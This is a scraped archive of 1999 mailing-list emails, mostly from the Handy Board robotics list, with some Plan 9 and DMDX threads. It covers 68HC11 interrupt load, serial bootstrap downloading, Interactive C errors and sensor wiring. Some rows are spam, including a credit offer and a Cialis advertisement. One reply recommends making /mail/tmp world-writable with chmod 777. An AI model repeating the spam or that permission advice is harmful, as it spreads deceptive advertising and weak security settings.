From: Christopher Prosser > > To: Greg Starr ; handyboard@media.mit.edu > > Subject: Re: Time available during 1 kHz system interrupt? > > Date: Monday, November 01, 1999 8:48 PM > > > > Hi Greg, > > It all depends. Various features of the HB can be turned on and off to > > change the amount of work done in the main ISR. By default the code uses > > 300ms to execute. The file lib_hb.c provides the following: > > > > /********************************/ > > /*** System Interrupt Control ***/ > > /********************************/ > > > > /* > > > > These functions allow you to turn on and off various features > > controlled by the system interrupt routines. The more features > > you turn off, the faster your code will run. > > > > On reset, the features have the following state: > > pulse width modulation ON > > infrared decoding ON > > LCD printing ON > > quad shaft decoding OFF > > IR tranmission OFF > > > > This uses approx. 30% of total CPU time. > > > > Approximate benchmarks: > > > > x Feature % of CPU > > ------- -------- > > PWM 3 > > IR decode 11 > > LCD printing (active) 8 > > LCD printing (inactive) 1 > > quad shaft decode 5 > > IR transmission 1 > > > > */ > > > > > > > > -chris prosser > > > > > > ----- Original Message ----- > > From: Greg Starr > > To: > > Sent: Monday, November 01, 1999 7:19 AM > > Subject: Time available during 1 kHz system interrupt? > > > > > > > Does anyone know the approximate amount of time available for user > > > assembler programs which ""add on"" to the existing 1 kHz HB interrupt? > > > > > > Another way of stating that is...how much time is used by the 1kHz HB > ISR > > code? > > > > > > --greg > > > > > > ***************************************************************** > > > * Greg Starr, Professor * > > > * Department of Mechanical Engineering ph (505) 277-6298 * > > > * University of New Mexico, Albuquerque NM 87131 FAX 277-1571 * > > > * email- starr@unm.edu WWW- http://www.me.unm.edu/~starr/ * > > > ***************************************************************** > > > > > > >",0,1 Joey Sims ,"""'ggilfoyl@richmond.edu'"" ","Tue, 02 Nov 1999 12:39:11 -0500","Jerry,","Hello Dr. Gilfoyle, How is everything going? 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I called them and was told to send it to them ... no return authorization number needed ... just an explanatory note. It went in the US Mail at 3:30 PM on Saturday (30 Oct 99). Today (2 Nov 99) at 2:20 PM UPS delivered a new replacement board! Less than 72 hours turnaround, and it included a weekend! http://www.solutions-cubed.com/ If all vendors worked in this fashion, our lives would be much easier! - Nick - ",0,1 hw@xs4all.nl,handyboard@media.mit.edu,"Tue, 02 Nov 1999 23:00:57 +0000",building a remote debugger for win32 -- need help,"Hi everybody, As a part of a project at my university we're building a crossdevelopment environment for the Windows environment. As a part of this programming environment we want to build a remote debugger. So, we will have to incorporate a downloader and a remote debugging mechanism that works over the serial interface. In the end we hope to have a fullblown Borland-C like programming environment for the 68HC11, with both simulated debugging and remote debugging. (Yup, we're ambitious:-)) And right at the beginning of all this i'm walking into problems. I can't find anywhere in the extensive documentation that is available on the web how to communicate with the 68hc11 over the serial line, other than with Interactive C. This is not an option for us:-(. So right now I'm writing a C++ object that will communicate with the board. When instantiated it should install the talker that comes with pcbug11 (talkeree.s19) on the board and then wait for commands that are transmitted over the serial line. Right now i've come as far as to open the serial comport on the pc to talk to the board but i have no idea where to go from there. Can anybody help me? For the c++ literate, here's the interface of the C++ object: class SerialCommunicator { public: SerialCommunicator(int port, int speed); //the constructor should automatically install the talker int open(); //opens the comport int close(); //closes the comport int read(); //should read from the serial line. Stores what it //reads in private datamember Data int write(char *Data);//should send data to the board int readStatus(){ return status;} //this is just to keep the state private: SerialCommunicator(SerialCommunicator &SC); // disables copyconstruction int portNr, comSpeed, status;//no comment needed char Data[255];//string in which to store data that comes //from the serial connection HANDLE hCom; //win32 handle to a comport //below are other members needed by the win32 API DCB Dcb; COMMTIMEOUTS Timeouts; }; Regards. Hans ",0,0 Christopher Prosser ,"hw@xs4all.nl, handyboard@media.mit.edu","Tue, 02 Nov 1999 16:20:42 -0800",Re: building a remote debugger for win32 -- need help,"I don't claim to be an expert on this, but here are my ideas. To get a clean HB up and running you need to do the following (assuming talkeree.s19 is larger than 256 bytes) 1) Start off by booting the HB into bootstrap mode. This makes the board listen to the serial line at 7812 baud if I recall correctly. 2) Feed it 256 bytes. These 256 bytes go at 0x0000. At the end of the 256 bytes the chip will jump to 0x0000 and start executing. 3) Hopefully the 256 byte program you loaded is now able to load the much larger and more interesting program from the SCI into RAM. (this would be talkeree.s19). 4) Now that talkeree is loaded you should be able to restart the board (power cycle) and have it come up running talkeree and talk to it using the serial port. I don't know anything about talkeree. I'm sure it has its own preferences over baud rate, parity, etc that you'll need to find out. Most of this info came from: http://www.mot-sps.com/mcu/documentation/pdf/hc11rmr3.pdf Take a look at section 3.5.4. Personally, I would only do work where I added value. There are lots of bootstrap downloaders for the handyboard (HBDL is my favorite) that will take care of that initial 256 byte bootstrap and then download a s19 file. You can probably even find the source code for one to incorporate if you are hell bent on having it integrated in your project. Since I don't really know how talkeree works, this might be out in left field, but there is something to keep in mind. If you plan on using the LCD, you will most likely need to modify talkeree. This is because to use the LCD you need to run the chip in special test mode. There is a fascintaing hack where the chip toggles itself between having external 32K of ram, and instead driving the LCD. When the chip is in special test mode, the interrupt vectors need to be in a different location. Good luck! BTW, will the project be GPLed? The windows version of Interactive C pales in comparison with the Mac. -chris prosser ----- Original Message ----- From: Hans Westerbeek To: Sent: Tuesday, November 02, 1999 3:00 PM Subject: building a remote debugger for win32 -- need help > Hi everybody, > > As a part of a project at my university we're building a > crossdevelopment environment for the Windows environment. As a part of > this programming environment we want to build a remote debugger. So, > we will have to incorporate a downloader and a remote debugging > mechanism that works over the serial interface. > In the end we hope to have a fullblown Borland-C like programming > environment for the 68HC11, with both simulated debugging and remote > debugging. (Yup, we're ambitious:-)) > > And right at the beginning of all this i'm walking into problems. I > can't find anywhere in the extensive documentation that is available > on the web how to communicate with the 68hc11 over the serial line, > other than with Interactive C. This is not an option for us:-(. > > So right now I'm writing a C++ object that will communicate with the > board. When instantiated it should install the talker that comes with > pcbug11 (talkeree.s19) on the board and then wait for commands that > are transmitted over the serial line. > > Right now i've come as far as to open the serial comport on the pc to > talk to the board but i have no idea where to go from there. Can > anybody help me? > > For the c++ literate, here's the interface of the C++ object: > > class SerialCommunicator > { > public: > SerialCommunicator(int port, int speed); > file://the constructor should automatically install the talker > int open(); file://opens the comport > int close(); file://closes the comport > int read(); file://should read from the serial line. Stores what it > file://reads in private datamember Data > int write(char *Data);//should send data to the board > int readStatus(){ return status;} > file://this is just to keep the state > private: > SerialCommunicator(SerialCommunicator &SC); > // disables copyconstruction > int portNr, comSpeed, status;//no comment needed > char Data[255];//string in which to store data that comes > file://from the serial connection > HANDLE hCom; file://win32 handle to a comport > file://below are other members needed by the win32 API > DCB Dcb; > COMMTIMEOUTS Timeouts; > > }; > > > Regards. > Hans >",0,1 Charles Hacker ,hw@xs4all.nl,"Wed, 03 Nov 1999 12:21:51 +1000",Re: building a remote debugger for win32 -- need help,"Hans, What Christopher Prosserhas stated was correct, and this is exactly what Vadim Gerasimov does in his HDBL windows program. And it is also the technique used in my HB_Buffalo downloader program for programming the HandyBoard with a Buffalo type machine code monitor. http://132.234.46.5/Programs/HBoard/Index.shtml My downloader was written in Borland Delphi, yet I am familiar with Borland-C. I can thus help if needed. I would be interested in seeing this project come about. Keep us posted! > Hi everybody, > > As a part of a project at my university we're building a > crossdevelopment environment for the Windows environment. As a part of > this programming environment we want to build a remote debugger. So, > we will have to incorporate a downloader and a remote debugging > mechanism that works over the serial interface. > In the end we hope to have a fullblown Borland-C like programming > environment for the 68HC11, with both simulated debugging and remote > debugging. (Yup, we're ambitious:-)) > > And right at the beginning of all this i'm walking into problems. I > can't find anywhere in the extensive documentation that is available > on the web how to communicate with the 68hc11 over the serial line, > other than with Interactive C. This is not an option for us:-(. > > So right now I'm writing a C++ object that will communicate with the > board. When instantiated it should install the talker that comes with > pcbug11 (talkeree.s19) on the board and then wait for commands that > are transmitted over the serial line. > > Right now i've come as far as to open the serial comport on the pc to > talk to the board but i have no idea where to go from there. Can > anybody help me? > > For the c++ literate, here's the interface of the C++ object: > > class SerialCommunicator > { > public: > SerialCommunicator(int port, int speed); > //the constructor should automatically install the talker > int open(); //opens the comport > int close(); //closes the comport > int read(); //should read from the serial line. Stores what it > //reads in private datamember Data > int write(char *Data);//should send data to the board > int readStatus(){ return status;} > //this is just to keep the state > private: > SerialCommunicator(SerialCommunicator &SC); > // disables copyconstruction > int portNr, comSpeed, status;//no comment needed > char Data[255];//string in which to store data that comes > //from the serial connection > HANDLE hCom; //win32 handle to a comport > //below are other members needed by the win32 API > DCB Dcb; > COMMTIMEOUTS Timeouts; > > }; > > > Regards. > Hans > Charles Hacker Lecturer in Electronics, Computing and Physics School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 5594 8670 Fax.(07) 5594 8065 ",0,1 hw@xs4all.nl,handyboard@media.mit.edu,"Wed, 03 Nov 1999 08:25:07 +0000",Re: building a remote debugger for win32 -- need help,"On Wed, 3 Nov 1999 00:20:42 GMT, handyboard@media.mit.edu (Christopher Prosser) wrote: >I don't claim to be an expert on this, but here are my ideas. To get a clean >HB up and running you need to do the following (assuming talkeree.s19 is >larger than 256 bytes) >1) Start off by booting the HB into bootstrap mode. This makes the board >listen to the serial line at 7812 baud if I recall correctly. >2) Feed it 256 bytes. These 256 bytes go at 0x0000. At the end of the 256 >bytes the chip will jump to 0x0000 and start executing. >3) Hopefully the 256 byte program you loaded is now able to load the much >larger and more interesting program from the SCI into RAM. (this would be >talkeree.s19). >4) Now that talkeree is loaded you should be able to restart the board >(power cycle) and have it come up running talkeree and talk to it using the >serial port. I don't know anything about talkeree. I'm sure it has its own >preferences over baud rate, parity, etc that you'll need to find out. Ok thnx i will try this. I should note that don't have the exact handyboard. Ours is called the botboard but it's based on the same mcu and works fine with pcbug11. >Personally, I would only do work where I added value. There are lots of >bootstrap downloaders for the handyboard (HBDL is my favorite) that will >take care of that initial 256 byte bootstrap and then download a s19 file. >You can probably even find the source code for one to incorporate if you are >hell bent on having it integrated in your project. Well we're aiming for a real environment and therefore i think it would be elegant to have incorporate it. Ofcourse I thought the same: why redo somebody's work... So I emailed Vladim to see if I could get his sourcecode and do some cutting and pasting, but I didn't get a response so I thought that maybe he's not MIT anymore... > Since I don't really know how talkeree works, this might be out in left >field, but there is something to keep in mind. If you plan on using the LCD, >you will most likely need to modify talkeree. My board doesn't have an LCD:-) Besided we want to use the same debugging interface for simulated and remote debugging. > Good luck! BTW, will the project be GPLed? The windows version of >Interactive C pales in comparison with the Mac. I'm a big fan of open source so yeah if I call the shots it will be. But our mentor wanted us to develop it for use here at the uni.. We haven't really discussed it yet but you have my vote:-) Byebye! Hans ",0,0 hw@xs4all.nl,handyboard@media.mit.edu,"Wed, 03 Nov 1999 08:27:49 +0000",Re: building a remote debugger for win32 -- need help,"On Wed, 3 Nov 1999 02:21:51 GMT, handyboard@media.mit.edu (Charles Hacker) wrote: >Hans, > >What Christopher Prosserhas stated was correct, and this is exactly >what Vadim Gerasimov does in his HDBL windows program. Hmm so this means you have the source code somewhere? Is it in C? I don't know anything about Delphi so I'm affraid to look at your code:-) Maybe some of the other guys do, i'll ask around Hans <-- very interested in HBDL",0,0 John Bachman ,handyboard@media.mit.edu,"Wed, 03 Nov 1999 07:14:10 -0500",hbtest does not run,"Hi all, Everything looks normal as far as I can tell. Able to download IC , lib_hb.icb, lib_hb.c and hbtest.c but nothing happens. I can exercise the hb functions individually using IC but hbtest.c does nothing. What could be the problem? TIA John ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Wed, 03 Nov 1999 12:33:51 +0000",Re: hbtest does not run,"hbtest.c doesn't do anything by itself. you have to run the functions it contains at the IC command line; e.g., testmotors(); . walk thru the assembly instructions for info on using hbtest.c to test your board . fred > Everything looks normal as far as I can tell. Able to download IC , > lib_hb.i cb, lib_hb.c and hbtest.c but nothing happens. I can > exercise the hb functions individually using IC but hbtest.c does > nothing. What could be the problem?",0,1 """Curt Mills, WE7U"" ",Hans Westerbeek ,"Wed, 03 Nov 1999 09:40:22 -0800",Re: building a remote debugger for win32 -- need help,"On Tue, 2 Nov 1999, Hans Westerbeek wrote: > As a part of a project at my university we're building a > crossdevelopment environment for the Windows environment. As a part of > this programming environment we want to build a remote debugger. So, > we will have to incorporate a downloader and a remote debugging > mechanism that works over the serial interface. > In the end we hope to have a fullblown Borland-C like programming > environment for the 68HC11, with both simulated debugging and remote > debugging. (Yup, we're ambitious:-)) Go check out this link. Some of it has already been done for you: http://www.msoe.edu/eecs/ce/ceb/ce/sdprojs.htm Prowl around this site and you'll find other interesting HC11 projects, probably several of which would be of use to you. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,1 """Curt Mills, WE7U"" ","handyboard@media.mit.edu, legged-robots@egroups.com, robot-board@cmf.nrl.navy.mil","Wed, 03 Nov 1999 10:41:53 -0800",SlugBot," Here's a REAL use for a robot: http://news.bbc.co.uk/hi/english/sci/tech/newsid_503000/503149.stm Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,1 rmtmd ,"handyboard@media.mit.edu, lego-robotics@crynwr.com","Wed, 03 Nov 1999 11:35:18 -0800",Scientific American Robot Special on PBS,"I live in the Las Vegas metro area, and our PBS affiliate here runs Scientific American w/ Alan Alda on Tuesday nights here. Last night's hour program was devoted entirely to robotics with a long segment on the robot soccer competition. They also showed a group of Sony's new dog robot (name escapes me) programmed to play soccer, also. If this program hasn't run in your PBS catchment area yet, keep an eye out for it. It's worth watching. Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX ",0,0 lego-robotics@crynwr.com,handyboard@media.mit.edu,"Wed, 03 Nov 1999 19:35:18 +0000",Scientific American Robot Special on PBS,"I live in the Las Vegas metro area, and our PBS affiliate here runs Scientific American w/ Alan Alda on Tuesday nights here. Last night's hour program was devoted entirely to robotics with a long segment on the robot soccer competition. They also showed a group of Sony's new dog robot (name escapes me) programmed to play soccer, also. If this program hasn't run in your PBS catchment area yet, keep an eye out for it. It's worth watching. Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX ",0,0 rmtmd ,handyboard@media.mit.edu,"Wed, 03 Nov 1999 11:59:45 -0800",Scientific American Robot Special on PBS,"I live in the Las Vegas metro area, and our PBS affiliate here runs Scientific American w/ Alan Alda on Tuesday nights here. Last night's hour program was devoted entirely to robotics with a long segment on the robot soccer competition. They also showed a group of Sony's new dog robot (name escapes me) programmed to play soccer, also. If this program hasn't run in your PBS catchment area yet, keep an eye out for it. It's worth watching. RMT ",0,0 """Thomas G. Murphy"" ",handyboard@media.mit.edu,"Wed, 03 Nov 1999 20:16:49 +0000",Using the Lego Rotation Sensor with the Handyboard,"Hi, Has anyone had a luck wiring up the Lego Mindstorms rotation sensor (#9756) to the Handyboard's analog inputs? Any help would be greatly appreciated Thanks Tom Murphy ",0,0 """B.A.Coyote"" ",handyboard@media.mit.edu,"Wed, 03 Nov 1999 20:20:21 +0000",Microphone,"Does anyone know how I can hook up a microphone to the hb? It doesn't matter if it notices different frequencies so long as it can tell me the volume of the sound. If anyone knows where I can buy the parts I need I would greatly appreciate it. Thanks Ben Alexander ",0,0 Kat ,rmtmd ,"Wed, 03 Nov 1999 12:34:12 -0800",Re: Scientific American Robot Special on PBS,"I caught the show last night also. It's really worth watching. You can check at www.pbs.org for a brief summary and check the next showtime in your area. -Kathy On Wed, 3 Nov 1999, rmtmd wrote: > I live in the Las Vegas metro area, and our PBS affiliate here runs > Scientific American w/ Alan Alda on Tuesday nights here. Last night's > hour program was devoted entirely to robotics with a long segment on the > robot soccer competition. They also showed a group of Sony's new dog > robot (name escapes me) programmed to play soccer, also. > > If this program hasn't run in your PBS catchment area yet, keep an eye > out for it. It's worth watching. > > > RMT > > ",0,0 Terry Gathright ,"TH0RMAN23@aol.com, handyboard@media.mit.edu","Wed, 03 Nov 1999 14:44:13 -0600",Re: Using Vector 2X and Polaroid sonar w/ exp board ,"Hi Rob, I also would lile to see a hook-up for both sensors. Has any one sucessfully completed the task? Thanks Terry -----Original Message----- From: TH0RMAN23@aol.com To: handyboard@media.mit.edu Date: Tuesday, November 02, 1999 3:57 PM Subject: Using Vector 2X and Polaroid sonar w/ exp board >Hi, I am planning to use a Vector 2X compass with the Polaroid Sonar and >expansion board but not sure about the SPI connection part. Before investing >into the compass, I would appreciated if somebody could tell me if they are >successful in using both these devices simultaneoulsy with an expansion >board. Thank you. > >Best Regard, >Rob >",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Wed, 03 Nov 1999 22:01:54 +0000",Re: Using the Lego Rotation Sensor with the Handyboard,"the lego 9v active sensors (i.e., rotation and light) require a pulsed 9v drive & appropriate drivers. the circuit and drivers are part of the HB Expansion Board. you could potentially adapt both to work w/o the exp bd. it's a 2 transistor ckt with a diode protect. you'd also need to rework the drivers (source is there) if you went your own way. fred In your message you said: > Hi, > > Has anyone had a luck wiring up the Lego Mindstorms rotation sensor (#9756) t o > the Handyboard's analog inputs? > Any help would be greatly appreciated > > Thanks > > Tom Murphy > ",0,0 Marjut Shoulders ,dmdx@psy1.psych.arizona.edu,"Wed, 03 Nov 1999 10:49:07 -0700",Re: uyyut news,"D a ear Home Ow z ne k r , Your cr j edi c t doesn't matter to us ! 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[I apologize if you have received two copies of this email]",0,1 """Curt Mills, WE7U"" ","handyboard@media.mit.edu, legged-robots@egroups.com, robot-board@cmf.nrl.navy.mil","Thu, 04 Nov 1999 14:29:02 -0800",GNU C-Compiler for HC11,"A new GCC/HC11 port is available. I had nothing to do with this one, but it looks much better than the GCC-2.8.1 port that I'm maintaining. It uses the full GNU toolchain. http://home.worldnet.fr/stcarrez/m68hc11_port.html It is reported to work with the Handyboard, the BotBoard2, and the Adapt-11 so far. It also has floating point. This is just the thing for you Unix guys out there (you know who you are). Debugging support also. As all of you SHOULD know, it is copyrighted under the GPL license, which means it costs nothing. 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In additon, the libtcs has also been updated. I noticed, this is my first time, the larger file problem occurred when I wrote an introductory article on Plan 9 and tried to send/receive that text with a magazine publisher. :-) The article exceeds 80Kbytes in its file size with a figure. ^_^ Kenji ",0,1 forsyth@caldo.demon.co.uk,9fans@cse.psu.edu,"Tue, 09 Nov 1999 08:35:12 +0000",Re: [9fans] 64KB wall for sendmail,"there will be a problem sending email larger than 64k whether utf or not if you don't chmod 777 /mail/tmp so that upas can drop the remainder of larger messages there. after that, you can send and receive megabytes happily, until you get the phone bill. the only restriction (i think) is that the header must fit in the first 64k. that's usually not a problem even with chatty rfc822+mime. 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Kenji ",0,0 lehman@javanet.com,handyboard@media.mit.edu,"Wed, 10 Nov 1999 04:03:41 +0000",Re: Natural Born Robots,"In lugnet.robotics, handyboard@media.mit.edu (kath) writes: > In case you missed the neat robotunas last week, the Scientific American > episode 1002 will be shown tomorrow on KCWC at 3pm (MT) and on KVCR at 8am > (PT). > > You can check out all other times and locations at: > http://www2.pubtv.net/online/saf/ Ahh, cool -- they give a full list all across the U.S. :-) Too bad it only shows in some cities, though. :-( Listings for Natural Born Robots Episode Number 1002 between 9 Nov 1999 and 23 Nov 1999 Date Location Station --------------------- --------------------------------- ------- Tue 9 Nov 11:00am PT SAN FRANCISCO-OAKLAND-SAN JOSE CA KQED Wed 10 Nov 3:00pm MT CASPER-RIVERTON WY KCWC Wed 10 Nov 8:00am PT LOS ANGELES CA KVCR Fri 12 Nov 2:00am ET CHARLESTON-HUNTINGTON WV WPBO Fri 12 Nov 2:00pm ET COLUMBUS OH WOSU Sat 13 Nov 2:00pm CT MILWAUKEE WI WMVS Sat 13 Nov 6:00pm PT CHICO-REDDING CA KIXE Sun 14 Nov 5:00pm ET LIMA OH WBGU Wed 17 Nov 8:00pm ET NEW YORK NY WNJB Wed 17 Nov 8:00pm ET NEW YORK NY WNJN Wed 17 Nov 8:00pm ET PHILADELPHIA PA WNJM Wed 17 Nov 8:00pm ET PHILADELPHIA PA WNJS Wed 17 Nov 8:00pm ET PHILADELPHIA PA WNJT Wed 17 Nov 8:00pm PT SAN FRANCISCO-OAKLAND-SAN JOSE CA KCSM Thu 18 Nov 7:00pm CT ROCHESTER MN-MASON CITY IA- KSMQ AUSTIN MN Sat 20 Nov 12:00am PT SAN FRANCISCO-OAKLAND-SAN JOSE CA KCSM Sun 21 Nov 8:00pm MT ALBUQUERQUE-SANTA FE NM KENW Mon 22 Nov 8:00pm ET PROVIDENCE RI-NEW BEDFORD MA WSBE --Todd ",0,1 Dwight Chan ,Harold ,"Wed, 10 Nov 1999 17:17:22 +0100",C_I_A_L_I_S and be a superman in bed! ,"Hi there,handyboard@media.MIT.EDU Try our revolutionary product, C_I_A_L_I_S Soft Tabs. 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Sorry to abuse this mailing list, but it's the closet I have to the subject I'm interested in :-( The URL I can't seem to get access to, by the way, is (I hope I got that right :-) I seem to get a ""connection refused"". ++L",0,1 forsyth@caldo.demon.co.uk,9fans@cse.psu.edu,"Thu, 11 Nov 1999 10:16:58 +0000",Re: [9fans] Brian Kernighan?,"see pp 208-13 of The UNIX Programming Environment by B W Kernighan and Rob Pike, and the end of the chapter for credits and references. the Cornell PL/1 compiler used a similar approach to do spelling correction on keywords as part of a broader attempt to repair all obvious errors in the given program; the results were amusing if not enlightening, as they so often are with AI. ",0,0 j.jyotsnafield@virgilio.it,,"Thu, 11 Nov 1999 05:51:48 +0100",Mrs. Buckle Kenwood .,"Mrs. Buckle Kenwood . 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(not that i necessarily think it should, it's just that if it's going to try to guess what you meant to type, it would be better off making educated guesses.) there's a big difference between correcting simple typos and more complicated ""wrong identifier"" errors. anyway, back to the point: the original questioner might be interested in ""Finding Approximate Matches in Large Lexicons"" by Justin Zobel (jz@cs.rmit.oz.au) and Philip Dart (philip@cs.mu.oz.au), which was the best paper i found when trying to come up with decent guesses in a ""dict""-like program. btw, has anyone had better luck than i at getting information about the CD-ROM version of the OED, with a view to having a Plan 9/Unix OED ""dict""? ever since i read the acme paper with its ""futtock"" example, i've been jealous. -- ""As the Chinese say, 1001 words is worth more than a picture."" -- John McCarthy ",0,0 Lucio De Re ,9fans@cse.psu.edu,"Thu, 11 Nov 1999 13:10:29 +0200",Re: [9fans] Brian Kernighan?,"On Thu, Nov 11, 1999 at 11:56:05AM +0100, Elliott Hughes wrote: > > anyway, back to the point: the original questioner might be > interested in ""Finding Approximate Matches in Large Lexicons"" > by Justin Zobel (jz@cs.rmit.oz.au) and Philip Dart (philip@cs.mu.oz.au), > which was the best paper i found when trying to come up with > decent guesses in a ""dict""-like program. > Thank you for the additional information. As it happens, I'm looking to match full mail names against potential spelling errors. The dictionary is consequently not very large, and the problem should be tractable. It's just that regular expressions don't quite cut it :-( ++L ",0,0 forsyth@caldo.demon.co.uk,9fans@cse.psu.edu,"Thu, 11 Nov 1999 11:16:19 +0000",Re: [9fans] Brian Kernighan?,">>looking to match full mail names against potential spelling >>errors. The dictionary is consequently not very large, and the although the spdist technique might be good enough in practice, there are other techniques for matching names; i'd try searching the online bibliographic databases for references. some of them aren't much more effort to implement. ",0,0 Susanna Lau ,DMDX@psy1.psych.arizona.edu,"Fri, 12 Nov 1999 00:11:02 +1100",[DMDX],"dear all, I am having a problem using the input type keywords with multiple responses, wonder if anyone could advise me on this. my expt design, its an identification task which involves displaying movie files of someone saying some chinese words, and subjects are required to idenify that particular word from the 6 words given on the screen. those words are lablled 1,2,3,4,5,6 with corresponding key inputs: ""A"" = 1 , ""D"" =2 , ""G"" =3, ""J"" =4 , ""L"", "" ' "" on the keyboard commands that i put in : f100 m110 $ My questions are: 1. i'm having difficulties recording subjects' responses.. i tried with the typed responses command, but doesn't seem to work..no responses were recorded , the result file looks as follows (the answer should be key ""A"") , Subject 4, 11/09/1999 17:38:20 on avlaptop, refresh 16.63ms Item RT ! ""to"" frame 80 beyond end of A_fu1a.mov, resetting to 69 ! Played 68 frames of 68 in A_fu1a.mov 250 1045 2. is that possible to have feedback for a design like this!? eg. have on one trial, and commands design for separate trials!? If anyone has any helpful hints/advice on this I would be most appreciative. regards, susanna Lau **************************************************** Susanna Lau Macarthur Auditory Research Centre Sydney University of Western Sydney Macarthur PO Box 555, FASS 4B Campbelltown NSW 2560 Australia Phone: +61 2 9772 6560 Fax: +61 2 9772 6584 Email: su.lau@uws.edu.au web: http://www.macarthur.uws.edu.au/marcs ----- Original Message ----- From: Petidomo Mailing List Server To: Sent: Saturday, 30 October 1999 3:42 Subject: [DMDX] Welcome to the ""DMDX"" mailing list! > This DMDX mailing list is for the discussion of DMDX problems. > **************************************************** Susanna Lau Macarthur Auditory Research Centre Sydney University of Western Sydney Macarthur PO Box 555, FASS 4B Campbelltown NSW 2560 Australia Phone: +61 2 9772 6560 Fax: +61 2 9772 6584 Email: su.lau@uws.edu.au web: http://www.macarthur.uws.edu.au/marcs",0,1 Borja Marcos ,9fans@cse.psu.edu,"Thu, 11 Nov 1999 12:17:36 +0100",Re: [9fans] Brian Kernighan?OB,"> > IBM's jikes Java compiler also tries spelling correction, but its > ideas of proximity have nothing to do with any human's. it's > particularly unfortunate that it doesn't even know about the > Java naming conventions. (not that i necessarily think it should, > it's just that if it's going to try to guess what you meant to type, > it would be better off making educated guesses.) A friend of mine of mine wrote a Ph.D. thesis describing a the use of fuzzy logic to improve the behavior of an OCR system capable of recognizing handwritten text. The idea was to write a prototype Pascal compiler capable of getting handwritten code. Of course, this works with a limited dictionary, such as the set of reserved words in Pascal. The recognition rate increased dramatically over the result of the pure OCR, done with a neural network. You can contact him by email if you are interested. His name is Javier Echanobe, and his email address is javi@we.lc.ehu.es. Borja. -- *********************************************************************** Borja Marcos * Internet: borjam@we.lc.ehu.es Alangoeta, 11 1 izq * borjamar@sarenet.es 48990 - Algorta (Vizcaya) * borjam@well.com SPAIN * CompuServe: 100015,3502 *********************************************************************** --- FreeBSD, turning PCs into workstations ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 11 Nov 1999 09:03:04 -0700",[DMDX] Re: which cards?,"At 09:11 AM 11/11/99 GMT, you wrote: >Is anybody still using these cards with Dmastr - or specifically with >DMDX? The Win98 driver that I have for them seems to be buggy >(though amazingly the NT driver works fine). Which cards? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If money can't buy happiness, I guess you'll just have to rent it. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 11 Nov 1999 09:31:18 -0700",[DMDX] Re: ,"Please hold the HTML when you post, it screws up non-MS mail programs. >> dear all, I am having a problem using the input type keywords with multiple responses, wonder if anyone could advise me on this. my expt design, its an identification task which involves displaying movie files of someone saying some chinese words, and subjects are required to idenify that particular word from the 6 words given on the screen. those words are lablled 1,2,3,4,5,6 with corresponding key inputs: ""A"" = 1 , ""D"" =2 , ""G"" =3, ""J"" =4 , ""L"", "" ' "" on the keyboard commands that i put in : f100 m110 $ My questions are: 1. i'm having difficulties recording subjects' responses.. i tried with the typed responses command, but doesn't seem to work..no responses were recorded , the result file looks as follows (the answer should be key ""A"") , << For a start, key bindings will have to go after any zillion mode specifications. Also, specifying after is probably going to screw things up royally, best case would be that it simply cancels . My guess is that you want to use the zillion one response mode, . In addition you will have to specify which keys are valid zillion responses with to stop key releases from interfering with the recorded data. Your parameter line should become something like the following: f100 m110 $ >> Subject 4, 11/09/1999 17:38:20 on avlaptop, refresh 16.63ms Item RT ! ""to"" frame 80 beyond end of A_fu1a.mov, resetting to 69 ! Played 68 frames of 68 in A_fu1a.mov 250 1045 2. is that possible to have feedback for a design like this!? eg. have on one trial, and commands design for separate trials!? >> The + and - refer to whether the response is taken as the key is hit or as it is released. It is possible to have feedback, I assume by your question though that what you want to have is one of you six buttons correct depending upon the item. The neat way to do that is with macros and by having a macro for each response condition that remaps keys to correct and incorrect responses as in the following: f100 m110 $ 0 mA= = mD= = mG= = mJ= = mL= = m'= = c; +1 ~A ""button A is the correct key"" * ; +2 ~J ""button J is the correct key"" * ; +1 ~' ""button ' is the correct key"" * ; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Every time I think I know where it's at, they move it.""",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 11 Nov 1999 09:39:30 -0700",[DMDX] test message to see if subject lines are being comsumed,"This is a test message to see if subject lines are being comsumed, please ignore. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Every time I think I know where it's at, they move it."" ",0,0 Adam Oliver ,'Handyboard Mailing List' ,"Fri, 12 Nov 1999 00:36:51 +0800",Sbasic,"Anyone used sbasic with the handyboard?? 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Can someone tell me what is wrong with this: > > void detect_time_2 (void) > { code here;} > > I get a syntax error on the definition line and cannot figure out why. > > TIA > > John ",0,0 bart_schrijver@agilent.com,bachman@anatek.mv.com,"Fri, 12 Nov 1999 15:41:25 -0800",Re: IC trouble - function definition," John: If your function does not need a parameter passed to it just do: void detect_time2() { /* code here */ } just like int main() { /* code here */ } Bart. ______________________________ Reply Separator _________________________________ Subject: IC trouble - function definition Author: Non-HP-bachman (bachman@anatek.mv.com) at HP-PaloAlto,mimegw2 Date: 11/12/99 11:44 AM I am having trouble with function definitions. Can someone tell me what is wron g with this: void detect_time_2 (void) { code here;} I get a syntax error on the definition line and cannot figure out why. TIA John ",0,0 """Russia V. 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Here it is: /* A simplified program to figure out what is wrong */ long time; void start() { phony(); void phony() /* Line 9 syntax error is reported here */ { while (digital(2) == 1) { time = 